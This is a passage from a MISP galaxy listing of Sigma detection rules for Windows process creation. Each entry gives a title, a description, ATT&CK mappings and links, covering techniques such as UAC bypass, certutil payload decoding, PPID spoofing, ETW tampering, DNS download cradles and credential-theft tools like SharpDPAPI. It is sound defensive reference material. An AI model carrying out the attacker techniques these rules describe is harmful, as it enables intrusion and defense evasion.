https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf
https://www.security.com/threat-intelligence/blackbyte-exbyte-ransomware
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_svchost_uncommon_command_line_flags.yml

Renamed Visual Studio Code Tunnel Execution

Detects renamed Visual Studio Code tunnel execution. Attackers can abuse this functionality to establish a C2 channel

The tag is: *misp-galaxy:sigma-rules="Renamed Visual Studio Code Tunnel Execution"*

View relationships graph

Renamed Visual Studio Code Tunnel Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="almost-certain"

Table 15603. Table References

Links
https://ipfyx.fr/post/visual-studio-code-tunnel/
https://badoption.eu/blog/2023/01/31/code_c2.html

https://code.visualstudio.com/docs/remote/tunnels
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vscode_tunnel_renamed_execution.yml

Invoke-Obfuscation STDIN+ Launcher

Detects Obfuscated use of stdin to execute PowerShell

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation STDIN+ Launcher"*

View relationships graph

Invoke-Obfuscation STDIN+ Launcher has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15604. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_stdin.yml

New Root Certificate Installed Via Certutil.EXE

Detects execution of "certutil" with the "addstore" flag in order to install a new certificate on the system. Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.

The tag is: *misp-galaxy:sigma-rules="New Root Certificate Installed Via Certutil.EXE"*

View relationships graph

New Root Certificate Installed Via Certutil.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004" with estimative-language:likelihood-probability="almost-certain"

Table 15605. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_certificate_installation.yml

Hypervisor-protected Code Integrity (HVCI) Related Registry Tampering Via CommandLine

Detects the tampering of Hypervisor-protected Code Integrity (HVCI) related registry values via command line tool reg.exe. HVCI uses virtualization-based security to protect code integrity by ensuring that only trusted code can run in kernel mode. Adversaries may tamper with HVCI to load malicious or unsigned drivers, which can be used to escalate privileges, maintain persistence, or evade security mechanisms.

The tag is: *misp-galaxy:sigma-rules="Hypervisor-protected Code Integrity (HVCI) Related Registry Tampering Via CommandLine"*

View relationships graph

Hypervisor-protected Code Integrity (HVCI) Related Registry Tampering Via CommandLine has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15606. Table References

Links
https://www.sophos.com/en-us/blog/sharpening-the-knife-gold-blades-strategic-evolution
https://learn.microsoft.com/en-us/windows/security/hardware-security/enable-virtualization-based-protection-of-code-integrity
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hvci_registry_tampering.yml

Potential Binary Impersonating Sysinternals Tools

Detects binaries that use the same name as legitimate sysinternals tools to evade detection. This rule looks for the execution of binaries that are named similarly to Sysinternals tools. Adversary may rename their malicious tools as legitimate Sysinternals tools to evade detection.

The tag is: *misp-galaxy:sigma-rules="Potential Binary Impersonating Sysinternals Tools"*

View relationships graph

Potential Binary Impersonating Sysinternals Tools has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with

estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Match Legitimate Resource Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

Table 15607. Table References

Links
https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_tools_masquerading.yml

PUA - Radmin Viewer Utility Execution

Detects the execution of Radmin which can be abused by an adversary to remotely control Windows machines

The tag is: *misp-galaxy:sigma-rules="PUA - Radmin Viewer Utility Execution"*

View relationships graph

PUA - Radmin Viewer Utility Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Software Deployment Tools - T1072" with estimative-language:likelihood-probability="almost-certain"

Table 15608. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1072/T1072.md
https://www.radmin.fr/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_radmin.yml

Verclsid.exe Runs COM Object

Detects when verclsid.exe is used to run COM object via GUID

The tag is: *misp-galaxy:sigma-rules="Verclsid.exe Runs COM Object"*

View relationships graph

Verclsid.exe Runs COM Object has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15609. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Verclsid/
https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_verclsid_runs_com.yml

Change PowerShell Policies to an Insecure Level

Detects changing the PowerShell script execution policy to a potentially insecure level using the "-ExecutionPolicy" flag.

The tag is: *misp-galaxy:sigma-rules="Change PowerShell Policies to an Insecure Level"*

View relationships graph

Change PowerShell Policies to an Insecure Level has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15610. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.4
https://adsecurity.org/?p=2604
https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.4
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_set_policies_to_unsecure_level.yml

Use NTFS Short Name in Command Line

Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection

The tag is: *misp-galaxy:sigma-rules="Use NTFS Short Name in Command Line"*

View relationships graph

Use NTFS Short Name in Command Line has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 15611. Table References

Links
https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/
https://twitter.com/jonasLyk/status/1555914501802921984
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntfs_short_name_use_cli.yml

Scheduled Task Creation Via Schtasks.EXE

Detects the creation of scheduled tasks by user accounts via the "schtasks" utility.

The tag is: *misp-galaxy:sigma-rules="Scheduled Task Creation Via Schtasks.EXE"*

View relationships graph

Scheduled Task Creation Via Schtasks.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Table 15612. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_creation.yml

UAC Bypass Abusing Winsat Path Parsing - Process

Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Abusing Winsat Path Parsing - Process"*

View relationships graph

UAC Bypass Abusing Winsat Path Parsing - Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 15613. Table References

Links
https://github.com/hfiref0x/UACME
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_winsat.yml

Schtasks Creation Or Modification With SYSTEM Privileges

Detects the creation or update of a scheduled task to run with "NT AUTHORITY\SYSTEM" privileges

The tag is: *misp-galaxy:sigma-rules="Schtasks Creation Or Modification With SYSTEM Privileges"*

View relationships graph

Schtasks Creation Or Modification With SYSTEM Privileges has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Table 15614. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks
https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_system.yml

Potential Cookies Session Hijacking

Detects execution of "curl.exe" with the "-c" flag in order to save cookie data.

The tag is: *misp-galaxy:sigma-rules="Potential Cookies Session Hijacking"*

Table 15615. Table References

Links
https://curl.se/docs/manpage.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_cookie_hijacking.yml

Potential RDP Tunneling Via SSH

Execution of ssh.exe to perform data exfiltration and tunneling through RDP

The tag is: *misp-galaxy:sigma-rules="Potential RDP Tunneling Via SSH"*

View relationships graph

Potential RDP Tunneling Via SSH has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"

Table 15616. Table References

Links
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ssh_rdp_tunneling.yml

Suspicious Kernel Dump Using Dtrace

Detects suspicious way to dump the kernel on Windows systems using dtrace.exe, which is available on Windows systems since Windows 10 19H1

The tag is: *misp-galaxy:sigma-rules="Suspicious Kernel Dump Using Dtrace"*

View relationships graph

Suspicious Kernel Dump Using Dtrace has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 15617. Table References

Links
https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/dtrace
https://twitter.com/0gtweet/status/1474899714290208777?s=12
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dtrace_kernel_dump.yml

File Decoded From Base64/Hex Via Certutil.EXE

Detects the execution of certutil with either the "decode" or "decodehex" flags to decode base64 or hex encoded files. This can be abused by attackers to decode an encoded payload before execution

The tag is: *misp-galaxy:sigma-rules="File Decoded From Base64/Hex Via Certutil.EXE"*

View relationships graph

File Decoded From Base64/Hex Via Certutil.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 15618. Table References

Links
https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil
https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/
https://lolbas-project.github.io/lolbas/Binaries/Certutil/
https://learn.microsoft.com/en-us/archive/blogs/pki/basic-crl-checking-with-certutil
https://twitter.com/JohnLaTwC/status/835149808817991680
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_decode.yml

Gpresult Display Group Policy Information

Detects cases in which a user uses the built-in Windows utility gpresult to display the Resultant Set of Policy (RSoP) information

The tag is: *misp-galaxy:sigma-rules="Gpresult Display Group Policy Information"*

View relationships graph

Gpresult Display Group Policy Information has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Group Policy Discovery - T1615" with estimative-language:likelihood-probability="almost-certain"

Table 15619. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1615/T1615.md
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult
https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf
https://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gpresult_execution.yml

Potential PsExec Remote Execution

Detects potential psexec command that initiate execution on a remote systems via common commandline flags used by the utility

The tag is: *misp-galaxy:sigma-rules="Potential PsExec Remote Execution"*

View relationships graph

Potential PsExec Remote Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"

Table 15620. Table References

Links
https://www.poweradmin.com/paexec/
https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html
https://learn.microsoft.com/en-us/sysinternals/downloads/psexec
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psexec_remote_execution.yml

Suspicious Execution of InstallUtil Without Log

Uses the .NET InstallUtil.exe application in order to execute image without log

The tag is: *misp-galaxy:sigma-rules="Suspicious Execution of InstallUtil Without Log"*

Table 15621. Table References

Links
https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/
https://learn.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_instalutil_no_log_execution.yml

IE ZoneMap Setting Downgraded To MyComputer Zone For HTTP Protocols Via CLI

Detects changes to Internet Explorer's (IE / Windows Internet properties) ZoneMap configuration of the "HTTP" and "HTTPS" protocols to point to the "My Computer" zone. This allows downloaded files from the Internet to be granted the same level of trust as files stored locally.

The tag is: *misp-galaxy:sigma-rules="IE ZoneMap Setting Downgraded To MyComputer Zone For HTTP Protocols Via CLI"*

Table 15622. Table References

Links

https://www.virustotal.com/gui/file/339ff720c74dc44265b917b6d3e3ba0411d61f3cd3c328e9a2bae81592c8a6e5/content
https://learn.microsoft.com/en-us/troubleshoot/developer/browsers/security-privacy/ie-security-zones-registry-entries
https://twitter.com/M_haggis/status/1699056847154725107
https://twitter.com/JAMESWT_MHT/status/1699042827261391247
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_ie_security_zone_protocol_defaults_downgrade.yml

Suspicious Mshta.EXE Execution Patterns

Detects suspicious mshta process execution patterns

The tag is: *misp-galaxy:sigma-rules="Suspicious Mshta.EXE Execution Patterns"*

View relationships graph

Suspicious Mshta.EXE Execution Patterns has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

Table 15623. Table References

Links
https://en.wikipedia.org/wiki/HTML_Application
https://www.echotrail.io/insights/search/mshta.exe
https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_susp_pattern.yml

DLL Execution via Rasautou.exe

Detects using Rasautou.exe for loading arbitrary .DLL specified in -d option and executes the export specified in -p.

The tag is: *misp-galaxy:sigma-rules="DLL Execution via Rasautou.exe"*

View relationships graph

DLL Execution via Rasautou.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15624. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Rasautou/
https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html
https://github.com/fireeye/DueDLLigence
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_rasautou_dll_execution.yml

HackTool - SharpDPAPI Execution

Detects the execution of the SharpDPAPI tool based on CommandLine flags and PE metadata. SharpDPAPI is a C# port of some DPAPI functionality from the Mimikatz project.

The tag is: *misp-galaxy:sigma-rules="HackTool - SharpDPAPI Execution"*

View relationships graph

HackTool - SharpDPAPI Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Make and Impersonate Token - T1134.003" with estimative-language:likelihood-probability="almost-certain"

Table 15625. Table References

Links
https://github.com/GhostPack/SharpDPAPI
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharp_dpapi_execution.yml

Potentially Suspicious Child Process Of VsCode

Detects uncommon or suspicious child processes spawning from a VsCode "code.exe" process. This could indicate an attempt of persistence via VsCode tasks or terminal profiles.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Child Process Of VsCode"*

View relationships graph

Potentially Suspicious Child Process Of VsCode has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 15626. Table References

Links
https://twitter.com/nas_bench/status/1618021415852335105
https://twitter.com/nas_bench/status/1618021838407495681
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vscode_child_processes_anomalies.yml

HackTool - PPID Spoofing SelectMyParent Tool Execution

Detects the use of parent process ID spoofing tools like Didier Stevens tool SelectMyParent

The tag is: *misp-galaxy:sigma-rules="HackTool - PPID Spoofing SelectMyParent Tool Execution"*

View relationships graph

HackTool - PPID Spoofing SelectMyParent Tool Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Parent PID Spoofing - T1134.004" with estimative-language:likelihood-probability="almost-certain"

Table 15627. Table References

Links
https://www.virustotal.com/gui/search/filename%253A*spoof*%2520filename%253A*ppid*/files
https://pentestlab.blog/2020/02/24/parent-pid-spoofing/
https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing
https://www.picussecurity.com/resource/blog/how-to-detect-parent-pid-ppid-spoofing-attacks
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_selectmyparent.yml

Suspicious FromBase64String Usage On Gzip Archive - Process Creation

Detects attempts of decoding a base64 Gzip archive via PowerShell. This technique is often used as a method to load malicious content into memory afterward.

The tag is: *misp-galaxy:sigma-rules="Suspicious FromBase64String Usage On Gzip Archive - Process Creation"*

View relationships graph

Suspicious FromBase64String Usage On Gzip Archive - Process Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-

language:likelihood-probability="almost-certain"

Table 15628. Table References

Links
https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=43
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_frombase64string_archive.yml

ETW Logging Tamper In .NET Processes Via CommandLine

Detects changes to environment variables related to ETW logging via the CommandLine. This could indicate potential adversaries stopping ETW providers recording loaded .NET assemblies.

The tag is: *misp-galaxy:sigma-rules="ETW Logging Tamper In .NET Processes Via CommandLine"*

View relationships graph

ETW Logging Tamper In .NET Processes Via CommandLine has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"

Table 15629. Table References

Links
https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf
https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code
https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables
https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr
https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39
https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_
https://twitter.com/*xpn*/status/1268712093928378368
https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38
https://bunnyinside.com/?term=f71e8cb9c76a
http://managed670.rssing.com/chan-5590147/all_p1.html

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_etw_modification_cmdline.yml

Suspicious Child Process Of Veeam Dabatase

Detects suspicious child processes of the Veeam service process. This could indicate potential RCE or SQL Injection.

The tag is: *misp-galaxy:sigma-rules="Suspicious Child Process Of Veeam Dabatase"*

Table 15630. Table References

Links
https://labs.withsecure.com/publications/fin7-target-veeam-servers
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mssql_veaam_susp_child_processes.yml

MSHTA Execution with Suspicious File Extensions

Detects execution of mshta.exe with file types that looks like they do not typically represent HTA (HTML Application) content, such as .png, .jpg, .zip, .pdf, and others, which are often polyglots. MSHTA is a legitimate Windows utility for executing HTML Applications containing VBScript or JScript. Threat actors often abuse this lolbin utility to download and execute malicious scripts disguised as benign files or hosted under misleading extensions to evade detection.

The tag is: *misp-galaxy:sigma-rules="MSHTA Execution with Suspicious File Extensions"*

View relationships graph

MSHTA Execution with Suspicious File Extensions has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"

Table 15631. Table References

Links
https://medium.com/tsscyber/pentesting-and-hta-bypassing-powershell-constrained-language-mode-53a42856c997
http://blog.sevagas.com/?Hacking-around-HTA-files
https://www.virustotal.com/gui/file/c1f27d9795a2eba630db8a043580a0761798f06370fb1317067805f8a845b00c

https://0x00sec.org/t/clientside-exploitation-in-2018-how-pentesting-has-changed/7356
https://twitter.com/mattifestation/status/1326228491302563846
https://learn.microsoft.com/en-us/previous-versions/dotnet/framework/data/xml/xslt/xslt-stylesheet-scripting-using-msxsl-script
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_susp_execution.yml

Potentially Suspicious EventLog Recon Activity Using Log Query Utilities

Detects execution of different log query utilities and commands to search and dump the content of specific event logs or look for specific event IDs. This technique is used by threat actors in order to extract sensitive information from events logs such as usernames, IP addresses, hostnames, etc.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious EventLog Recon Activity Using Log Query Utilities"*

View relationships graph

Potentially Suspicious EventLog Recon Activity Using Log Query Utilities has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"

Table 15632. Table References

Links
http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html
https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.diagnostics/get-winevent?view=powershell-7.3
https://labs.withsecure.com/content/dam/labs/docs/f-secureLABS-tlp-white-lazarus-threat-intel-report2.pdf
https://www.group-ib.com/blog/apt41-world-tour-2021/
https://ptsecurity.com/research/pt-esc-threat-intelligence/striking-panda-attacks-apt31-today
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-eventlog?view=powershell-5.1
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-144a
https://www.cybertriage.com/artifact/terminalservices_remoteconnectionmanager_log/
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil

http://www.solomonson.com/posts/2010-07-09-reading-eventviewer-command-line/
https://ponderthebits.com/2018/02/windows-rdp-related-event-logs-identification-tracking-and-investigation/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_eventlog_content_recon.yml

Potential Persistence Via Powershell Search Order Hijacking - Task

Detects suspicious powershell execution via a schedule task where the command ends with an suspicious flags to hide the powershell instance instead of executeing scripts or commands. This could be a sign of persistence via PowerShell "Get-Variable" technique as seen being used in Colibri Loader

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via Powershell Search Order Hijacking - Task"*

View relationships graph

Potential Persistence Via Powershell Search Order Hijacking - Task has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15633. Table References

Links
https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_powershell_persistence.yml

New Firewall Rule Added Via Netsh.EXE

Detects the addition of a new rule to the Windows firewall via netsh

The tag is: *misp-galaxy:sigma-rules="New Firewall Rule Added Via Netsh.EXE"*

View relationships graph

New Firewall Rule Added Via Netsh.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 15634. Table References

Links
https://web.archive.org/web/20190508165435/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_add_rule.yml

Suspicious Binary In User Directory Spawned From Office Application

Detects an executable in the users directory started from one of the Microsoft Office suite applications (Word, Excel, PowerPoint, Publisher, Visio)

The tag is: *misp-galaxy:sigma-rules="Suspicious Binary In User Directory Spawned From Office Application"*

View relationships graph

Suspicious Binary In User Directory Spawned From Office Application has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

Table 15635. Table References

Links
https://www.virustotal.com/gui/file/23160972c6ae07f740800fa28e421a81d7c0ca5d5cab95bc082b4a986fbac57
https://blog.morphisec.com/fin7-not-finished-morphisec-spots-new-campaign
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_spawn_exe_from_users_directory.yml

Nslookup PowerShell Download Cradle - ProcessCreation

Detects suspicious powershell download cradle using nslookup. This cradle uses nslookup to extract payloads from DNS records

The tag is: *misp-galaxy:sigma-rules="Nslookup PowerShell Download Cradle - ProcessCreation"*

Table 15636. Table References

Links
https://twitter.com/Alh4zr3d/status/1566489367232651264

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nslookup_poweshell_download.yml

Suspicious Git Clone

Detects execution of "git" in order to clone a remote repository that contain suspicious keywords which might be suspicious

The tag is: *misp-galaxy:sigma-rules="Suspicious Git Clone"*

View relationships graph

Suspicious Git Clone has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Code Repositories - T1593.003" with estimative-language:likelihood-probability="almost-certain"

Table 15637. Table References

Links
https://gist.githubusercontent.com/MichaelKoczwara/12faba9c061c12b5814b711166de8c2f/raw/e2068486692897b620c25fde1ea258c8218fe3d3/history.txt
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_git_susp_clone.yml

Service DACL Abuse To Hide Services Via Sc.EXE

Detects usage of the "sc.exe" utility adding a new service with special permission seen used by threat actors which makes the service hidden and unremovable.

The tag is: *misp-galaxy:sigma-rules="Service DACL Abuse To Hide Services Via Sc.EXE"*

View relationships graph

Service DACL Abuse To Hide Services Via Sc.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Services Registry Permissions Weakness - T1574.011" with estimative-language:likelihood-probability="almost-certain"

Table 15638. Table References

Links
https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html
https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/
https://www.sans.org/blog/red-team-tactics-hiding-windows-services/
https://twitter.com/Alh4zr3d/status/1580925761996828672

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_sdset_hide_sevices.yml

Persistence Via TypedPaths - CommandLine

Detects modification addition to the 'TypedPaths' key in the user or admin registry via the commandline. Which might indicate persistence attempt

The tag is: *misp-galaxy:sigma-rules="Persistence Via TypedPaths - CommandLine"*

Table 15639. Table References

Links
https://forensafe.com/blogs/typedpaths.html
https://twitter.com/dez_/status/1560101453150257154
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_typed_paths_persistence.yml

Process Proxy Execution Via Squirrel.EXE

Detects the usage of the "Squirrel.exe" binary to execute arbitrary processes. This binary is part of multiple Electron based software installations (Slack, Teams, Discord, etc.)

The tag is: *misp-galaxy:sigma-rules="Process Proxy Execution Via Squirrel.EXE"*

View relationships graph

